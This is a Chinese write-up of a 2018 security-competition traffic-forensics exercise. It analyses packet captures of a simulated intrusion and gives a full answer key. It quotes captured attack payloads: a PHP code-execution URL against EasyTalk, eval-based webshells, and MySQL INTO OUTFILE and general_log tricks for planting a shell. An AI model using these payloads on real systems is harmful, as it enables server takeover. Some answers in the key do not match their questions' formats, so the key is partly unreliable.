2018-5-18-铁人三项赛数据赛数据包分析

5月18号 信息安全铁人三项赛分区赛数据包分析练习

1. 数据包下载链接

1
链接:https://pan.baidu.com/s/1KvA2SBuHHPCgYjLA7Q7Ysw  提取码:ifgd 

2. 题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1.黑客的IP是多少
2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)
3.服务器拿到的webshell的网址(请输入url解码后的网址)
4.服务器1.99的主机名
5.网站根目录的绝对路径(注意最后加斜杠)
6.黑客上传的第一个文件名称是什么
7.黑客进行内网扫描,扫描的端口都有哪些(端口从小到大,用英文逗号分隔)
8.服务器2.88的ftp服务账号密码(格式:账号/密码)
9.黑客成功登陆ftp的时间(格式:10:15:36)
10.黑客在ftp中下载的敏感文件名称是什么
11.服务器2.88中用户名为admin_zz的web后台管理员的密码
12.服务器2.88的mysql账号密码(格式:账号/密码)
13.服务器2.88的mysql服务中有和admin有关的三个表,请按照黑客的查询顺序作答,使用空格分隔
14.请列出黑客设置的genreal log的绝对路径(将路径复制出来,区分大小写)
15.路由器的品牌、型号、版本(请直接复制粘贴)
16.列出路由器的所有IP地址(格式:从小到大,用英文逗号分隔)
17.在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1号端口监控2/3/4号端口:1—>2,3,4
18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)
19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例: 255 255.255.0则为24 (格式:用英文逗号分隔)
20.路由器的5Gwif名称是什么,信道是多少(格式:名称信道)

3. 数据包分析过程

首先过滤一下HTTP,大致浏览一下,发现有一个可疑的包含phpinfo()http请求。

1

追踪一下TCP流,可以看到`phpinfo()被成功执行了。

2

可以知道黑客的IP为202.1.1.2,受到攻击的主机IP为192.168.1.99
执行命令的漏洞POC

1
Expert Info (Chat/Sequence): GET /index.php/module/action/param1/%7B$%7Bphpinfo()%7D%7D HTTP/1.1\r\n

tcp.stream eq 509 phpinfo()信息

构造过滤规则
接下来要求CMS的版本号,一般来说,网站的版本信息都会在网站的最底部。
过滤一下受害主机的响应包。

1
http and ip.src == 192.168.1.99

随便找一个正常的响应包,追踪一下TCP流,在下面可以找到Powered By EasyTalk X2.0.1

3

又要拿到WebShell的网址,从我们找到的POC来看,在请求中携带代码是能够直接执行的。

构造过滤规则

1
http contains "index.php/module/action/param1" and ip.addr == 192.168.1.99

4

所以拿到Webshell的网址是

1
http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}

下一个题目要1.99的主机名。

一般来说在phpinfo()中,我们能够收集到大量的信息。

也就是

1
tcp.stream eq 509

追踪一下,将其网页源码保存到本地,使用浏览器打开。
可知主机名是

1
simplefight1

网站根目录的绝对路径是

1
/var/www/html/easytalk/

要找黑客上传的第一个文件,猜测黑客是利用之前的WebShell来上传的。
因此构造过滤规则

1
http.request.method == POST and http contains "/index.php/module/action/param1" and ip.addr == 192.168.1.99

使用菜刀上传文件的话,文件一般会被16进制编码,所有可以很容易找到上传文件的请求与响应。

No.280958

请求

1
2
Form item: "z1" = "L3Zhci93d3cvaHRtbC9lYXN5dGFsay9zY2FuLnBocA=="
/var/www/html/easytalk/scan.php

5

可以知道黑客上传了一个scan.php的文件。

猜测scan.php正是后面黑客进行内网扫描的工具。
构造

1
http contains "scan.php" and ip.addr == 192.168.1.99

7

可知黑客对
21,80,1433,8080,3306端口进行了扫描
追踪一下流

1
tcp.stream eq 849

有内网探测结果,但是不全。估计是在下一个流量包中,没有扫描完毕。
根据下一个题目过滤一下FTP
没有任何结果。

打开第二个数据包

1
ftp and ip.addr == 192.168.2.88

7

可以找到ftp登录成功的数据记录,账号/密码为

1
administrator/123456

登录时间为

1
14:07:15

直接追踪一下FTP登录成功后的数据流,可以看到黑客执行的命令,但并没有下载文件。

打开第三个数据包

1
ftp and ip.addr == 192.168.2.88

直接追踪TCP
8

可以看到,黑客下载了config_db.php这个文件

直接使用ftp-data过滤,可以找到config_db.php的内容
9

1
2
3
4
5
6
7
8
9
10
<?php
/*
​ con_db_host = "localhost"
​ con_db_id = "root"
​ con_db_pass = "S1mp13zz"
​ con_db_name = "met"
​ tablepre = "met_"
​ db_charset = "utf8";
*/
?>

要想获取Web管理员admin_zz的密码。从登录流程和数据库下手。

1
http contains admin_zz

10

追踪一下TCP

根据响应的重定向url

1
Location: http://192.168.2.88/admin/index.php?lang=cn&n=ui_set&pageset=1

可以认为黑客成功登录了网站后台。

后面一题问的是2.88MySQL账号密码,从config_db.php可以获得。

1
localhost/S1mp13zz

直接过滤MySQL数据,可以发现有192.168.1.99192.168.2.88的查询请求,追踪一下TCP流。
只看请求:

11

所以黑客执行了

1
2
3
4
5
6
7
select @@version_comment limit 1
show databases
SELECT DATABASE()
show tables
select * from met_admin_array
select * from met_admin_column
select * from met_admin_table

因此13题答案是

1
met_admin_array,met_admin_column,met_admin_table

尝试mysql contains genreal,没有发现。

打开第四个数据包使用上述过滤规则也没有发现。。

直接查看一下MySQL数据吧、

1
mysql and ip.addr == 192.168.2.88

12

可以知道黑客又重新登录了一次,两个TCP流分别进行追踪。

13

黑客尝试直接利用MySQL写马。

1
select '<?php eval($_POST[a]);?>' into outfile 'c:/phpStudy/WWW/aaa.php'

但是报错了

1
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

看后面黑客查询并开启了general log

1
set global general_log='on'

下一个TCP流。
14

可以看到黑客修改了log路径

1
set global general_log_file='c:/phpStudy/WWW/config/config.php'

然后执行

1
select '<?php @eval($_POST[a]);?>'

来写马

后面是路由器的流量分析,没接触过。。

不过路由器一般是作为网关的而且一般都有一个Web管理界面。
当务之急是找到网关IP,

直接过滤一下arp

15

这就得到了网关IP 192.168.0.1

尝试过滤

1
http and ip.addr == 192.168.0.1

没有发现

尝试在其他数据包查找,
在第一个数据包中找到了1.990.1的http访问流量
要对路由器进行管理的话,一般是需要登录一下的,管理界面是在登录之后,往后找找

16

可以看到在这里登录成功了

1
{ "id":1, "result":{ "locale":"zh_CN", "force":false, "radio":2, "model":"TL-WAR1300L v1.0" }, "error_code":"0" }

从返回的json数据中,可以获得路由器的model值是TL-WAR1300L v1.0

后面又问了路由器的所有IP地址,在他的Web管理界面应该可以找到。
继续往下翻

从请求来看,这个路由器管理界面通过JS来实现的动态页面,使用json来作为与服务器之间的信息传输格式。

1
2
3
4
5
6
7
No.433619
tcp.stream eq 1812
lan.js

No.435490
setting.js
tcp.stream eq 1843
1
2
No.482107
POST /webpages/data/advanced.menu.json HTTP/1.1\r\n

No.483716

17

追踪一下,查看一下返回的json数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
{
"id": 1,
"result": {
"normal": [
​ {
"py_isup": true,
"ipaddr": "202.1.1.1",
"t_type": "ethernet",
"t_isup": "connect",
"t_name": "WAN1",
"t_linktype": "static"
​ },
​ {
"py_isup": true,
"ipaddr": "192.168.12.173",
"t_type": "ethernet",
"t_isup": "internet",
"t_name": "WAN2",
"t_linktype": "dhcp"
​ },
​ {
"py_isup": true,
"ipaddr": "192.168.0.1",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN1",
"t_isup": "connect",
"t_linktype": "static"
​ },
​ {
"py_isup": true,
"ipaddr": "192.168.0.1",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN2",
"t_isup": "connect",
"t_linktype": "static"
​ },
​ {
"py_isup": false,
"ipaddr": "192.168.0.1",
"dhcp_status": "on",
"t_type": "ethernet",
"t_name": "LAN3",
"t_isup": "disconnect",
"t_linktype": "static"
​ }
​ ]
​ },
"error_code": "0"
}

可知路由器的WAN1`` WAN2`` LAN1`` LAN2 已经连接
IP地址分别为

1
2
3
202.1.1.1
192.168.12.173
192.168.0.1

再往下

18

lan.js中可以查到
涉及端口监控的都携带有MONITOR

经过查找可知在advanced.menu.json中有
port-monitor这一项

19

路由器拥有五个接口

再看第17题,一般来说,路由器的端口监控,就是端口镜像,将多个端口的流量转发到一个端口上来实现对流量的监控

20

1
{ "id":1, "result":{ "state":"on", "mode":"both", "mirroredports":[ "1", "2" ], "mirrorport":"3" }, "error_code":"0" }

可知3号端口是1号和2号的镜像,也就是3->1,2

接下来要找系统路由表

1
http contains "route"  and ip.addr == 192.168.0.1

根据URL猜测为最后一条.

21

追踪一下TCP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
{
"id": 1,
"result": [
​ {
"metric": "0",
"gateway": "192.168.12.254",
"mask": "0.0.0.0",
"dest": "0.0.0.0",
"interface": "WAN2"
​ },
​ {
"metric": "0",
"gateway": "0.0.0.0",
"mask": "255.0.0.0",
"dest": "127.0.0.0",
"interface": "lo"
​ },
​ {
"metric": "0",
"gateway": "0.0.0.0",
"mask": "255.255.252.0",
"dest": "192.168.0.0",
"interface": "LAN"
​ },
​ {
"metric": "0",
"gateway": "0.0.0.0",
"mask": "255.255.255.0",
"dest": "192.168.12.0",
"interface": "WAN2"
​ },
​ {
"metric": "0",
"gateway": "0.0.0.0",
"mask": "255.255.255.0",
"dest": "202.1.1.0",
"interface": "WAN1"
​ }
​ ],
"error_code": "0"
}

可知第三条的子网掩码是255.255.252.0

然后要找5Gwifi..

1
http contains "5G" and ip.addr == 192.168.0.1

22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
{
"id": 1,
"result": {
"0": {
"mssid": [
"test-ge1"
​ ],
"wds": "off",
"channel": 1,
"mode": "11bgn mixed",
"radio_enable": "on",
"amount": 1,
"frequency": "2.4G"
​ },
"1": {
"mssid": [
"test-ge1"
​ ],
"wds": "off",
"channel": 36,
"mode": "11anac mixed",
"radio_enable": "on",
"amount": 0,
"frequency": "5G"
​ },
"2": {
"mssid": [
"TP-LINK_GUEST_6258"
​ ],
"amount": 0,
"mode": "11bgn mixed",
"radio_enable": "off",
"frequency": "visitor"
​ }
​ },
"error_code": "0"
}

所以最后一题答案为test-ge136

4. 最后答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1.黑客的IP是多少
202.1.1.2
2.服务器1.99的web服务器使用的CMS及其版本号(请直接复制)
EasyTalk X2.0.1
3.服务器拿到的webshell的网址(请输入url解码后的网址)
http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST[c]))}
4.服务器1.99的主机名
simplefight1
5.网站根目录的绝对路径(注意最后加斜杠)
/var/www/html/easytalk/
6.黑客上传的第一个文件名称是什么
scan.php
7.黑客进行内网扫描,扫描的端口都有哪些(端口从小到大,用英文逗号分隔)
21,80,1433,8080,3306
8.服务器2.88的ftp服务账号密码(格式:账号/密码)
administrator/123456
9.黑客成功登陆ftp的时间(格式:10:15:36)
14:07:15
10.黑客在ftp中下载的敏感文件名称是什么
config_db.php
11.服务器2.88中用户名为admin_zz的web后台管理员的密码
1q2w3e4r
12.服务器2.88的mysql账号密码(格式:账号/密码)
localhost/S1mp13zz
13.服务器2.88的mysql服务中有和admin有关的三个表,请按照黑客的查询顺序作答,使用空格分隔
met_admin_array,met_admin_column,met_admin_table
14.请列出黑客设置的genreal log的绝对路径(将路径复制出来,区分大小写)
c:/phpStudy/WWW/config/config.php
15.路由器的品牌、型号、版本(请直接复制粘贴)
TL-WAR1300L v1.0
16.列出路由器的所有IP地址(格式:从小到大,用英文逗号分隔)
192.168.0.1,192.168.12.173,202.1.1.1
17.在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1号端口监控2/3/4号端口:1—>2,3,4
3->1,2
18.路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)
5,2,2
19.路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例: 255 255.255.0则为24 (格式:用英文逗号分隔)
255.255.252.0
20.路由器的5Gwif名称是什么,信道是多少(格式:名称信道)
test-ge136